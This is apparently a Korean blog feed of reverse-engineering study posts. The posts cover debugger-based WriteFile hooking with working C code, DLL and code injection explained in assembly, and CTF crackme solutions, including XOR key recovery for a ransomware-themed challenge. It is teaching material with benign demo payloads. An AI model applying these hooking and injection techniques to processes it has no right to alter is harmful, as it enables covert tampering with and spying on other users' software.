- EXCEPTION_ARRAY_BOUNDS_EXCEEDED
- **EXCEPTION_BREAKPOINT**
- EXCEPTION_DATATYPE_MISALIGNMENT
- EXCEPTION_FLT_DENORMAL_OPERAND
- EXCEPTION_FLT_DIVIDE_BY_ZERO
- EXCEPTION_FLT_INEXACT_RESULT
- EXCEPTION_FLT_INVALID_OPERATION
- EXCEPTION_FLT_OVERFLOW
- EXCEPTION_FLT_STACK_CHECK
- EXCEPTION_FLT_UNDERFLOW
- EXCEPTION_FLT_ILLEGAL_INSTRUCTIOIN
- EXCEPTION_IN_PAGE_ERROR
- EXCEPTION_INT_DIVIDE_BY_ZERO
- EXCEPTION_INT_OVERFLOW
- EXCEPTION_INVALID_DISPOSITION
- EXCEPTION_NONCONTINUABLE_EXCEPTION
- EXCEPTION_PRIV_INSTRUCTION
- EXCEPTION_SINGLE_STEP
- EXCEPTION_STACK_OVERFLOW</code></pre><p>각종 예외에서 디버거가 반드시 처리해야 하는 예외는 EXCEPTION_BREAKPOINT이다. BP를 구현하는 방법은 설치하는 코드의 메모리 시작 주소의 1바이트를 CC로 변경하는 것이다.</p>
<hr>
<h2 id="📌-작업-순서">📌 작업 순서</h2>
<p>디버거-디버기 관계를 가진 상태에서 디버기의 API 시작 부분을 0xCC로 바꿔 제어를 디버거로 가져온 후 원하는 작업을 수행한 후 디버기를 다시 실행 상태로 바꾸는 것이다.</p>
<ol>
<li>대상 프로세스에 &#39;attach&#39;하여 debuggee로 만들기</li>
<li>API 시작 주소의 첫 바이트를 0xCC로 변경</li>
<li>해당 API가 호출 시 제어가 debugger에게 넘어옴</li>
<li>원하는 작업 수행</li>
<li>Unhook (0xCC를 원래대로 복원)</li>
<li>API 실행</li>
<li>Hook (지속적 후킹을 위해 다시 0xCC로 바꿈)</li>
<li>debugee에게 제어를 돌려줌</li>
</ol>
<hr>
<h2 id="📌-api-hooking-실습">📌 API Hooking 실습</h2>
<p>notepad에 글을 쓰기 전에, hookdbg.exe를 notepad의 PID를 이용하여 hooking한다.
<img src="https://velog.velcdn.com/images/1issang_h/post/ef9003e7-05f9-439f-b79d-cb355e5f3b9b/image.png" alt=""></p>
<p>그리고 글을 test.txt로 저장한다.
<img src="https://velog.velcdn.com/images/1issang_h/post/1aad7b47-a4ec-4cf3-8d10-82828a729ed9/image.png" alt=""></p>
<p>그러면 cmd에서 해당 글이 출력됨과 동시에 test.txt는 모두 대문자로 변한다.
<img src="https://velog.velcdn.com/images/1issang_h/post/9dad80d7-e60c-4cfb-b338-938fdd2aa088/image.png" alt=""></p>
<hr>
<h2 id="📌-코드-분석">📌 코드 분석</h2>
<p>DebugLoop()</p>
<pre><code>void DebugLoop()
{
    DEBUG_EVENT de;
    DWORD dwContinueStatus;

    // Debuggee 로부터 event 가 발생할 때까지 기다림
    while( WaitForDebugEvent(&amp;de, INFINITE) )
    {
        dwContinueStatus = DBG_CONTINUE;

        // Debuggee 프로세스 생성 혹은 attach 이벤트
        if( CREATE_PROCESS_DEBUG_EVENT == de.dwDebugEventCode )
        {
            OnCreateProcessDebugEvent(&amp;de);
        }
        // 예외 이벤트
        else if( EXCEPTION_DEBUG_EVENT == de.dwDebugEventCode )
        {
            if( OnExceptionDebugEvent(&amp;de) )
                continue;
        }
        // Debuggee 프로세스 종료 이벤트
        else if( EXIT_PROCESS_DEBUG_EVENT == de.dwDebugEventCode )
        {
            // debuggee 종료 -&gt; debugger 종료
            break;
        }

        // Debuggee 의 실행을 재개시킴
        ContinueDebugEvent(de.dwProcessId, de.dwThreadId, dwContinueStatus);
    }
}</code></pre><p>디버기로부터 발생하는 이벤트를 받아서 처리한 후 디버기의 실행을 재개하는 역할이다.
아래는 코드 중 디버기로부터 디버그 이벤트가 발생할 때까지 기다리는 함수이다.</p>
<pre><code>BOOL WINAPI WaitForDebugEvent{
    LPDEBUG_EVENT lpDebugEvent,
    DWORD dwMilliseconds
};</code></pre><p>코드에서 WaitForDebufEvent(&amp;de, INFINITE) 라고 되어있는데, de 변수에 해당 이벤트에 대한 정보를 설정한 후 즉시 리턴하는 함수이다. de의 구조체인 DEBUG_EVENT 구조체 정의는 아래와 같다.</p>
<pre><code>typedef struct _DEBUG_EVENT {
  DWORD dwDebugEventCode;
  DWORD dwProcessId;
  DWORD dwThreadId;
  union {
    EXCEPTION_DEBUG_INFO      Exception;
    CREATE_THREAD_DEBUG_INFO  CreateThread;
    CREATE_PROCESS_DEBUG_INFO CreateProcessInfo;
    EXIT_THREAD_DEBUG_INFO    ExitThread;
    EXIT_PROCESS_DEBUG_INFO   ExitProcess;
    LOAD_DLL_DEBUG_INFO       LoadDll;
    UNLOAD_DLL_DEBUG_INFO     UnloadDll;
    OUTPUT_DEBUG_STRING_INFO  DebugString;
    RIP_INFO                  RipInfo;
  } u;
} DEBUG_EVENT, *LPDEBUG_EVENT;</code></pre><p>디버그 이벤트 9가지 종류 중 하나가 dwDebugEventCode에 세팅되고, 해당 이벤트의 종류에 따라 u(유니온) 멤버가 세팅된다.
아래는 디버기의 실행을 재개하는 함수이다.</p>
<pre><code>BOOL WINAPI ContinueDebugEvent(
    DWORD dwProcessId,
    DWORD dwThreadId,
    DWORD dwContinueStatus
};</code></pre><p>ContinueDebugEvent() API는 debuggee의 실행을 재개하는 함수다. 해당 API의 마지막 파라미터인 dwContinueStatus는 DBG_CONTINUE(정상적으로 처리) 또는 DBG_EXCEPTION_NOT_HANDLED(처리하지 못함) 중에서 하나의 값을 갖는다.</p>
<p>이렇게 DebugLoop 함수는 이벤트를 기다렸다가 받아서 처리하고 재개하는 함수이다. 처리하는 이벤트는 코드에서 보면 3가지이다.</p>
<ul>
<li><p>EXIT_PROCESS_DEBUG_EVENT</p>
<ul>
<li>프로세스가 종료될 때 발생하는 이벤트이다. </li>
</ul>
</li>
<li><p>CREATE_PROCESS_DEBUG_EVENT</p>
<pre><code>BOOL OnCreateProcessDebugEvent(LPDEBUG_EVENT pde) {
  // WriteFile() API 주소구하기 --&gt; 디버기 프로세스의 메모리 주소가 아니라 디버거 프로세스의 메모리 주소를 얻어서 사용
  g_pfWriteFile = GetProcAddress(GetModuleHandle(TEXT(&quot;kernel32.dll&quot;)), &quot;WriteFile&quot;);

  //API Hook-WriteFile()
  //첫 번째 byte를 0xCC로 변경
  memcpy(&amp;g_cpdi, &amp;pde-&gt;u.CreateProcessInfo, sizeof(CREATE_PROCESS_DEBUG_INFO));

  ReadProcessMemory(g_cpdi.hProcess, g_pfWriteFile, &amp;g_chOrgByte, sizeof(BYTE), NULL);

  WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile, &amp;g_chINT3, sizeof(BYTE), NULL);

  return TRUE;
}</code></pre><ul>
<li>우선 WriteFile API의 주소를 GetProcAddress API를 통해 구한 후, g_cpdi 변수에 memcpy를 통해 debuggee process 정보를 복사한다. g_cpdi 변수는 CREATE_PROCESS_DEBUG_INFO 구조체 변수이다.<pre><code>typedef struct _CREATE_PROCESS_DEBUG_INFO {
HANDLE                 hFile;
HANDLE                 hProcess;
HANDLE                 hThread;
LPVOID                 lpBaseOfImage;
DWORD                  dwDebugInfoFileOffset;
DWORD                  nDebugInfoSize;
LPVOID                 lpThreadLocalBase;
LPTHREAD_START_ROUTINE lpStartAddress;
LPVOID                 lpImageName;
WORD                   fUnicode;
} CREATE_PROCESS_DEBUG_INFO, *LPCREATE_PROCESS_DEBUG_INFO;</code></pre>hProcess 멤버를 이용하여 WriteFile() API를 후킹 할 수 있다. 이 때 ReadProcessMemory를 이용해 WriteFile() API의 첫 바이트를 읽어서 g_ch0rgByte에 저장하는데 이는 후킹을 해제할 때 BP를 없애는 데 필요하기 때문이다.</li>
</ul>
</li>
<li><p>EXCEPTION_DEBUG_EVENT</p>
<pre><code>BOOL OnExceptionDebugEvent(LPDEBUG_EVENT pde)
{
  CONTEXT ctx;
  PBYTE lpBuffer = NULL;
  DWORD dwNumOfBytesToWrite, dwAddrOfBuffer, i;
  PEXCEPTION_RECORD per = &amp;pde-&gt;u.Exception.ExceptionRecord;

  // BreakPoint exception (INT 3) 인 경우
  if( EXCEPTION_BREAKPOINT == per-&gt;ExceptionCode )
  {
      // BP 주소가 WriteFile() 인 경우
      if( g_pfWriteFile == per-&gt;ExceptionAddress )
      {
          // #1. Unhook
          //   0xCC 로 덮어쓴 부분을 original byte 로 되돌림
          WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile, 
                             &amp;g_chOrgByte, sizeof(BYTE), NULL);

          // #2. Thread Context 구하기
          ctx.ContextFlags = CONTEXT_CONTROL;
          GetThreadContext(g_cpdi.hThread, &amp;ctx);

          // #3. WriteFile() 의 param 2, 3 값 구하기
          //   함수의 파라미터는 해당 프로세스의 스택에 존재함
          //   param 2 : ESP + 0x8
          //   param 3 : ESP + 0xC
          ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0x8), 
                            &amp;dwAddrOfBuffer, sizeof(DWORD), NULL);
          ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0xC), 
                            &amp;dwNumOfBytesToWrite, sizeof(DWORD), NULL);

          // #4. 임시 버퍼 할당
          lpBuffer = (PBYTE)malloc(dwNumOfBytesToWrite+1);
          memset(lpBuffer, 0, dwNumOfBytesToWrite+1);

          // #5. WriteFile() 의 버퍼를 임시 버퍼에 복사
          ReadProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer, 
                            lpBuffer, dwNumOfBytesToWrite, NULL);
          printf(&quot;\n### original string ###\n%s\n&quot;, lpBuffer);

          // #6. 소문자 -&gt; 대문자 변환
          for( i = 0; i &lt; dwNumOfBytesToWrite; i++ )
          {
              if( 0x61 &lt;= lpBuffer[i] &amp;&amp; lpBuffer[i] &lt;= 0x7A )
                  lpBuffer[i] -= 0x20;
          }

          printf(&quot;\n### converted string ###\n%s\n&quot;, lpBuffer);

          // #7. 변환된 버퍼를 WriteFile() 버퍼로 복사
          WriteProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer, 
                             lpBuffer, dwNumOfBytesToWrite, NULL);

          // #8. 임시 버퍼 해제
          free(lpBuffer);

          // #9. Thread Context 의 EIP 를 WriteFile() 시작으로 변경
          //   (현재는 WriteFile() + 1 만큼 지나왔음)
          ctx.Eip = (DWORD)g_pfWriteFile;
          SetThreadContext(g_cpdi.hThread, &amp;ctx);

          // #10. Debuggee 프로세스를 진행시킴
          ContinueDebugEvent(pde-&gt;dwProcessId, pde-&gt;dwThreadId, DBG_CONTINUE);
          Sleep(0);

          // #11. API Hook
          WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile, 
                             &amp;g_chINT3, sizeof(BYTE), NULL);

          return TRUE;
      }
  }

  return FALSE;
}</code></pre><p>코드 안의 # 주석을 따라가면서 보겠다.</p>
</li>
</ul>
<ol>
<li><p>UnHook (API 훅 제거)
BP를 해제하는 과정</p>
</li>
<li><p>Thread Context 구하기
Thread Context = 프로세스의 실제 명령어 코드는 스레드 단위로 실행되는데, 스레드의 CPU 레지스터 정보를 저장하는 구조체가 Context 구조체이다.
GetThreadContext() API를 호출하면 ctx의 구조체 변수에 해당 스레드의 Context를 저장한다.</p>
</li>
<li><p>WriteFile()의 param 2,3 값 구하기
함수의 파라미터는 스택에 저장되므로 Context.esp 멤버를 이용해서 각각의 값을 구한다.</p>
</li>
<li><p>4부터 8까지 대문자 덮어쓰기</p>
</li>
<li><p>~</p>
</li>
<li><p>~</p>
</li>
<li><p>~</p>
</li>
<li><p>~</p>
</li>
<li><p>Thread Context의 EIP를 WriteFile() 시작으로 변경
EIP를 INT3에 의해 1byte 밀렸기 때문에 다시 WriteFile의 시작 주소가 저장된 g_pfWriteFile을 대입한다.</p>
</li>
<li><p>디버거 프로세스를 진행한다.
ContinueDebugEvent를 통해 디버기 프로세스 실행을 재개한다.</p>
</li>
<li><p>API 훅 설치
다음 번 후킹을 위해 파일을 저장할 때 후킹이 되도록 설정한다.</p>
</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Dreamhack-rev] Inject ME!!!]]></title>
            <link>https://velog.io/@1issang_h/Dreamhack-rev-Inject-ME</link>
            <guid>https://velog.io/@1issang_h/Dreamhack-rev-Inject-ME</guid>
            <pubDate>Tue, 14 Jan 2025 15:30:13 GMT</pubDate>
            <description><![CDATA[<p>이번 문제는 64비트 환경에서 코드를 좀 읽어보고 싶어서 풀어보았다.</p>
<h3 id="📌-사전-분석">📌 사전 분석</h3>
<p>이번 제공 파일은 실행 파일이 아닌 DLL 파일이라서 좀 더 생소했다. 실행은 안되니까 일단 PEview를 봤는데 rdata쪽에서 의심가는 곳이 있었다.
<img src="https://velog.velcdn.com/images/1issang_h/post/42d86f5c-963b-4b03-a32b-97f4240d3e78/image.png" alt="">
dreamhack.exe와 flag라는 글자가 보였는데 되게 수상해서 코드를 켜서 분석해보았다.</p>
<hr>
<h3 id="📌-코드-분석">📌 코드 분석</h3>
<p><img src="https://velog.velcdn.com/images/1issang_h/post/e9e8350f-2fb8-4e42-80db-3fa9540e0668/image.png" alt="">
와... 32비트로 분석하다가 64비트 환경으로 분석하려니까 숫자가 머릿속으로 안들어온다... 그래서 IDA 환경에서 디컴파일링해서 보기로 했다.</p>
<p><img src="https://velog.velcdn.com/images/1issang_h/post/787c3470-1d81-4678-86d1-21dcc88df65e/image.png" alt="">
이렇게 보니까 확실히 디컴파일링 기능이 좋다는 생각이 들었다. Path의 FileName이 일단 dreamhack.exe가 되어야 한다는 것이고 그 실행파일과 같은 경로에 prob_rev.dll이 있으면 어려운 코드 계산에 상관없이 MessageBoxA 함수로 flag를 출력할 것이라고 생각했다.</p>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;Windows.h&gt;

int main() {
    LoadLibraryA(&quot;prob_rev.dll&quot;);
}</code></pre><p>해당 C언어코드를 visual studio에서 dreamhack 솔루션으로 만들어서 dreamhack.exe 파일을 만들었다. 그 장소에 prob_rev.dll을 넣고 dreamhack.exe 파일을 돌리니까 flag가 출력되었다.
<img src="https://velog.velcdn.com/images/1issang_h/post/9d2d73d7-d385-44c4-981d-d963244f8636/image.png" alt=""></p>
<hr>
<p>64비트 환경을 경험하려고 하였지만, 정작 코드들과 관계없이 디컴파일링된 값을 읽고 도출할 수 있었다. 하지만 맛보기 수준으로 괜찮은 문제였다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Reversing.kr] ransomware]]></title>
            <link>https://velog.io/@1issang_h/Reversing.kr-ransomware</link>
            <guid>https://velog.io/@1issang_h/Reversing.kr-ransomware</guid>
            <pubDate>Tue, 14 Jan 2025 09:39:11 GMT</pubDate>
            <description><![CDATA[<p>이번 문제는 reversing.kr에서 120점인 나름 나에게는 도전적(?)인 문제를 시도해보았다.</p>
<h2 id="📌-사전-분석">📌 사전 분석</h2>
<p><img src="https://velog.velcdn.com/images/1issang_h/post/b81b20f1-d030-4812-a2ea-832271a80e37/image.png" alt=""></p>
<p>말투가 나쁜 사람치고는 착한 어투(?)로 쓴 것 같다. 문제는 key값을 입력하고 이 key값을 이용하여 복호화를 하는 문제인 것 같다.
일단 PE File Format을 확인하였다.
<img src="https://velog.velcdn.com/images/1issang_h/post/92a5ba5a-46bb-4369-bfba-fb1654c703b9/image.png" alt="">
upx로 패킹되어 있는 파일이다.</p>
<hr>
<h2 id="📌-코드-분석">📌 코드 분석</h2>
<p><img src="https://velog.velcdn.com/images/1issang_h/post/3761566f-4c9c-43fd-b328-0c3760467352/image.png" alt=""></p>
<p>시작부터 pushad가 나오는 데 이는 upx로 되어 있기 때문에 그런 것이다. 이에 대응 하는 popad를 찾아서 OEP로 진입해보겠다.
<img src="https://velog.velcdn.com/images/1issang_h/post/317c0a27-4c4c-4722-b7fd-c885fbba30fa/image.png" alt="">
여기가 OEP인 것 같다. OEP에서 무작정 코드를 분석하는 것보다 우리의 목적은 File을 복호화 하는 것이 목표이므로 File과 관련된 함수가 쓰였는지 확인해 보겠다.</p>
<p><img src="https://velog.velcdn.com/images/1issang_h/post/653e1157-b1fa-4ce3-bb63-613ed6206748/image.png" alt="">
fopen, fclose와 같은 File과 관련된 함수가 사용되었다. 해당 부분으로 가서 코드를 분석하면 빠르게 분석이 가능할 것이다. 일단 key값을 입력받는 scanf로 가서 BP를 걸고 달려보겠다.</p>
<p><img src="https://velog.velcdn.com/images/1issang_h/post/06f6a6ca-89cc-4c08-bf2e-71c9a9d7e35d/image.png" alt="">
scanf 이후로 쭉 달리다 보면 암호화와 관련된 코드가 보인다. 5415B8에 있는 값과 44D370에 있는 값을 xor하여 값을 한 번 구하고 그 값을 FF와 한번 더 XOR을 진행한다. 이제 복호화 알고리즘을 알았다. XOR의 특성 상 XOR을 한번 더 하면 원래의 값으로 돌아온다. 
Encrypted -&gt; XOR key -&gt; XOR FF -&gt; Decrypted 이니까 Decrypted -&gt; XOR FF  -&gt; XOR key -&gt; Encrypted가 될 것이다. 문제는 우리는 Key값을 구하기 위해선 Encrypted와 Decrypted를 둘 다 알아야 한다.
힌트는 readme.txt에서 구할 수 있다. Decrypt File(EXE)라고 적혀있는 걸 통해 File은 EXE인 것을 알 수 있다. 따라서 PE Dos Header가 MZ로 시작할 것이다. 이 부분을 이용해서 key값을 구한다.</p>
<pre><code>exe=&#39;4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00&#39;
encrypted_exe=&#39;DE C0 1B 8C 8C 93 9E 86 98 97 9A 8C 73 6C 9A 8B 34 8F 93 9E 86 9C 97 9A CC 8C 93 9A 8B 8C 8F 93&#39;
flag =&#39;&#39;

exe = exe.split(&#39; &#39;)
encrypted_exe=encrypted_exe.split(&#39; &#39;)

for i in range(len(exe)):
    flag += chr((int(encrypted_exe[i], 16) ^ 0xff) ^ int(exe[i], 16))
print(flag)</code></pre><p>이 코드를 이용하면 다음과 같은 key값이 나온다.
<img src="https://velog.velcdn.com/images/1issang_h/post/40ec799e-dcea-477a-a29a-df1c0daf42eb/image.png" alt="">
이 값을 이용해서 run.exe의 key값에 입력하면 file이 PE file format 형식으로 나올 것이다.
따라서 돌린 후 이 file을 exe 형태로 변환 후 진행하면 값이 나온다.</p>
<hr>
<p>이 문제의 교훈 : 무작정 코드 분석을 했다가 파일 관련 함수를 그냥 건너뛰길래 뭔가 이상하다 했다. 닥치고 머리 박지 말고 가능성을 염두에 두고 문제를 풀어야 겠다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Reversing.kr] ImagePrc]]></title>
            <link>https://velog.io/@1issang_h/Reversing.kr-ImagePrc</link>
            <guid>https://velog.io/@1issang_h/Reversing.kr-ImagePrc</guid>
            <pubDate>Mon, 13 Jan 2025 11:13:17 GMT</pubDate>
            <description><![CDATA[<p>이번 문제는 내가 지금까지 생각했던 방식에서 좀 많이 동떨어져 있던 문제다. 기존 방식은 &#39;코드를 파악해서 문제를 풀어야 겠다!&#39;라는 느낌이었다면 이 문제는 &#39;다른 프로그램들을 엮어서 생각해보자!&#39;라는 느낌을 받았다.</p>
<h2 id="📌-사전-분석">📌 사전 분석</h2>
<p><img src="https://velog.velcdn.com/images/1issang_h/post/bc51bbc8-b951-4ed9-a284-8111c28ce6fe/image.png" alt=""></p>
<p>입력이 키보드가 아니라 마우스로 되어서 처음에는 어떻게 풀어야 할 지 감이 안잡혔다. 그래서 일단 PE를 분석해보기로 했다.
<img src="https://velog.velcdn.com/images/1issang_h/post/b45b029e-f19b-47bc-8432-548f363d9900/image.png" alt="">
이렇게 되어있는 걸 보니, 이 데이터를 다른 곳에 옮겨 붙이면 값이 나오는 걸로 예측된다. 이 값을 그림판에다가 옮기면 원하는 값이 나올 것으로 생각된다.
이제 코드를 읽어보자. Decompiling한 코드를 읽어보았다.</p>
<p><img src="https://velog.velcdn.com/images/1issang_h/post/c0143aff-fe12-437b-8c3c-76a43464975b/image.png" alt="">
이것이 위에 나왔던 그림을 의미하는 것이었고, 해당 파일은 200,150의 가로와 세로의 길이를 가지고 있다. 근데 파일을 저장하려고 하는데 몇비트인지를 모르는 것이다.</p>
<p><img src="https://velog.velcdn.com/images/1issang_h/post/a81ae2e3-93e8-42fa-bad4-92ba1fe61bee/image.png" alt="">
코드를 쭉 읽다가 나온 의심가는 부분을 Decompiling 했는데 결국 찾았다. 24비트로 되어있었다.</p>
<p>이제 얻은 정보를 바탕으로 데이터를 만드면 된다.
200 * 150짜리 24비트 bmp 파일을 만든 뒤, 해당 값을 HxD를 이용하여 붙였다. 붙였더니 영문이 나왔다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[API Hooking]]></title>
            <link>https://velog.io/@1issang_h/API-Hooking</link>
            <guid>https://velog.io/@1issang_h/API-Hooking</guid>
            <pubDate>Mon, 13 Jan 2025 08:49:32 GMT</pubDate>
            <description><![CDATA[<h2 id="📌-api-hooking이란">📌 API Hooking이란?</h2>
<blockquote>
<p>Win32 API를 후킹하는 기술을 API 후킹이라고 한다.
= Win32 API 호출을 중간에서 가로채서 제어권을 획득하는 것</p>
</blockquote>
<h3 id="📢-api이란">📢 API이란?</h3>
<blockquote>
<p>사용자 애플리케이션이 시스템 커널에 접근을 요청하기 위한 방법, Windows에서는 Win32 API를 제공한다.</p>
</blockquote>
<h3 id="📢-정상-api-호출-vs-hooking-api-호출">📢 정상 API 호출 vs Hooking API 호출</h3>
<p><img src="https://velog.velcdn.com/images/1issang_h/post/e79dcdb7-cdf1-43e0-b9a6-1f8c203f689b/image.png" alt="">
정상적인 호출은 API를 호출하면 그 API가 담겨 있는 DLL에서 API가 호출된다.</p>
<p><img src="https://velog.velcdn.com/images/1issang_h/post/5cb27e71-041e-4b22-8c80-8d70af11617e/image.png" alt="">
Hooking API 호출은 DLL Injection 기술로 hook.dll을 프로세스 메모리 공간에 삽입한다. 그리고 kernel32!CreateFile()를 hook!MyCreateFile()로 후킹하였다. 이렇게 되면 CreateFile API를 실행할 때마다 MyCreateFile이 실행된다.</p>
<hr>
<h2 id="📌-api-hooking-tech-map">📌 API Hooking Tech Map</h2>
<p><img src="https://velog.velcdn.com/images/1issang_h/post/255a4713-0c57-4893-a384-c1130b27bfd1/image.png" alt=""></p>
<h3 id="📢-static-vs-dynamic">📢 Static vs Dynamic</h3>
<table>
<thead>
<tr>
<th align="center">Static</th>
<th align="center">Dynamic</th>
</tr>
</thead>
<tbody><tr>
<td align="center">파일</td>
<td align="center">메모리</td>
</tr>
<tr>
<td align="center">프로그램 실행 전</td>
<td align="center">프로그램 실행 후</td>
</tr>
<tr>
<td align="center">최초 한 번</td>
<td align="center">실행될 때마다</td>
</tr>
<tr>
<td align="center">특수한 상황</td>
<td align="center">일반적인 경우</td>
</tr>
<tr>
<td align="center">Unhook 불가능</td>
<td align="center">프로그램 실행 중에 Unhook 가능</td>
</tr>
<tr>
<td align="center">Hooking 방식에 따른 분류로 작업 대상에 따라 Static 방식과 Dynamic 방식으로 나눌 수 있다. 참고로 Static 방식은 API Hooking 방식에서 잘 쓰이지 않는다고 한다.</td>
<td align="center"></td>
</tr>
</tbody></table>
<h3 id="📢-location">📢 Location</h3>
<p>공략 위치를 의미한다.</p>
<ol>
<li><p>IAT</p>
<ul>
<li>IAT에 있는 API 주소를 후킹 함수 주소로 변경하는 방법</li>
<li>장점 : 단순하며 쉽게 구현 할 수 있다.</li>
<li>단점 : IAT에 없는 프로그램에서 사용되는 API들에 대해서는 후킹 할 수 없다. (= DLL을 동적으로 로딩하는 경우)</li>
</ul>
</li>
<li><p>Code</p>
<ul>
<li>API의 실제 주소를 찾아 코드를 직접 수정하는 방법</li>
</ul>
</li>
<li><p>EAT</p>
<ul>
<li>EAT에 기록된 API 시작 주소를 후킹 함수 주소로 변경하는 방법</li>
</ul>
</li>
</ol>
<h3 id="📢-technique">📢 Technique</h3>
<p>구체적인 기법을 의미한다.</p>
<ol>
<li><p>Debug</p>
<ul>
<li>디버거는 디버기에 모든 권한을 가지고 있기 때문에, 디버기의 모든 프로세스 메모리에 후킹 함수를 자유롭게 설치할 수 있다.</li>
<li>자동화 스크립트를 사용하여 API Hooking을 자동화하는 방법도 있지만, 디버거에 대한 지식과 안정적인 동작을 위한 많은 테스트가 요구된다.</li>
</ul>
</li>
<li><p>Injection</p>
<ol>
<li>DLL Injection<ul>
<li>인젝션 할 DLL에 미리 후킹 코드와 설치 코드를 만들고 DllMain 함수에서 설치 코드를 호출하면, 인젝션되는 순간 Hooking 완료</li>
</ul>
</li>
<li>Code Injection<ul>
<li>실행 코드와 데이터만 인젝션된 상태에서 자신이 필요한 API 주소를 직접 구해서 사용해야 한다.</li>
</ul>
</li>
</ol>
</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[Code Injection with Assembly Language]]></title>
            <link>https://velog.io/@1issang_h/Code-Injection-with-Assembly-Language</link>
            <guid>https://velog.io/@1issang_h/Code-Injection-with-Assembly-Language</guid>
            <pubDate>Sun, 12 Jan 2025 14:38:45 GMT</pubDate>
            <description><![CDATA[<h2 id="📌-threadproc-assembly-작성">📌 ThreadProc() Assembly 작성</h2>
<p><img src="https://velog.velcdn.com/images/1issang_h/post/608096dc-6b05-4dd8-a7cd-7aac8845b6a1/image.png" alt="">
해당 코드는 ThreadProc() 함수를 어셈블리어에서 작성한 것이다. C언어로 작성된 것과 비교하고 싶으면 아래 링크로 가서 비교하면 된다. 
<a href="https://velog.io/@1issang_h/Code-Injection">Code Injection</a></p>
<h2 id="📌-assembly-분석">📌 Assembly 분석</h2>
<pre><code>push ebp
mov ebp,esp</code></pre><ol>
<li>스택 프레임 생성 --&gt; 스택에 문자열들을 넣어서 ThreadProc() 함수가 종료될 때 스택을 깨끗하게 관리하려고</li>
</ol>
<pre><code>mov esi,dword ptr ss:[ebp+8]</code></pre><ol start="2">
<li>THREAD_PARAM 구조체 포인터
이 때 구조체의 멤버는 <code>LoadLibraryA</code>와 <code>GetProcAddress</code>이다.</li>
</ol>
<pre><code>push 6c6c        ;&quot;\0\0ll&quot;
push 642e3233    ;&quot;d.23&quot;
push 72657375    ;&quot;resu&quot;
push esp</code></pre><ol start="3">
<li>&quot;user32.dll&quot; 문자열 저장 및 주소 입력
이 때 Little Endian 표기법과 스택의 거꾸로 자라는 특성 때문에 위처럼 입력되고 있다.<pre><code>call dword ptr ds:[esi]        ;kernel32.LoadLibraryA</code></pre></li>
<li>LoadLibraryA(&quot;user32.dll&quot;) 호출
이 때 함수의 리턴 값은 EAX에 저장된다.<pre><code>push 41786F        ;&quot;\0Axo&quot;
push 42656761    ;&quot;Bega&quot;
push 7373654D    ;&quot;sseM&quot;
push esp        
push eax        ;hMod(778E000)
call dword ptr ds:[esi+4]    ;kernel32.GetProcAddress</code></pre></li>
<li>&quot;MessageBoxA&quot; 문자열 입력 및 GetProcAddress(hMod,&quot;MessageBoxA&quot;) 호출
이 때 hMod는 user32.dll 모듈의 로딩 주소이다.<pre><code>push 0
call 002D003F
push edx
jbe short 002D009C
jb short 002D00AC
inc ebx
outs dx,dword ptr es:[edi]
jb short 002D00A3
add al,ch</code></pre></li>
<li>MessageBoxA 파라미터 입력한다
이 때 push 0은 파라미터 1의 값이고 그 이후 코드는 파라미터 2(<code>ReverseCore</code>)의 문자열 데이터이다.<pre><code>call 002D0058
ja short 002D00BD
ja short 002D0076
jb short 002D00AF
jbe short 002D00B1
jb short 002D00C1
arpl word ptr gs:[edi+72],bp
prefix gs:
arpl word ptr cs:[edi+6D],bp
add byte ptr ds:[edx],ch
</code></pre></li>
</ol>
<p>push 0</p>
<pre><code>7. MessageBoxA의 파라미터 3(`www.reversecore.com`)을 입력하는 문자열 데이터와 파라미터 4를 입력하는 코드이다.</code></pre><p>call eax</p>
<pre><code>8. MessageBoxA API 호출하는 call 명령어로 GetProcAddress에 의해 리턴된 MessageBoxA API의 시작 주소가 EAX에 저장되어 있다.</code></pre><p>xor eax,eax</p>
<p>mov esp,ebp
pop ebp
retn</p>
<p>```
9. ThreadProc() 리턴 값 세팅 및 스택 프레임 해제, 함수 리턴</p>
<hr>
<p>어셈블리 명령어에 대해 잘 알고 프로그래밍을 할 줄 알면 Code Injection을 할 수 있다. 이 과정들을 잘 이해하고 있다는 건 DLL injection 및 MessageHooking 과정을 잘 이해하고 있다고 판단할 것 같다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Code Injection]]></title>
            <link>https://velog.io/@1issang_h/Code-Injection</link>
            <guid>https://velog.io/@1issang_h/Code-Injection</guid>
            <pubDate>Sun, 12 Jan 2025 08:19:48 GMT</pubDate>
            <description><![CDATA[<h2 id="📌-code-injection이란">📌 Code Injection이란?</h2>
<blockquote>
<p>상대방 프로세스에 독립 실행 코드를 삽입한 후 실행하는 기법 --&gt; Thread Injection이라고도 얘기함</p>
</blockquote>
<hr>
<h2 id="📌-dll-injection-vs-code-injection">📌 DLL Injection vs Code Injection</h2>
<p>DLL Injection</p>
<ul>
<li>DLL을 통째로 상대방 프로세스에 삽입하면, 코드와 데이터가 같이 메모리에 존재하기 때문에 코드가 정상적으로 실행가능</li>
</ul>
<p>Code Injection</p>
<ul>
<li>필요한 코드를 삽입하고, 그 코드에서 사용하는 데이터도 같이 삽입해야 정상적으로 코드의 실행이 가능</li>
</ul>
<p>--&gt; Code Injection이 DLL Injection보다 고려할 사항이 좀 더 많다.</p>
<h3 id="📢-code-injection을-사용하는-이유">📢 Code Injection을 사용하는 이유</h3>
<ol>
<li>메모리를 조금만 차지한다.</li>
<li>흔적을 찾기 어렵다.<ul>
<li>DLL Injection은 프로세스 메모리에 흔적을 남기기 때문에 인젝션 여부를 알 수 있다. 그러나 Code Injection은 쉽게 흔적을 남기지 않는다.</li>
</ul>
</li>
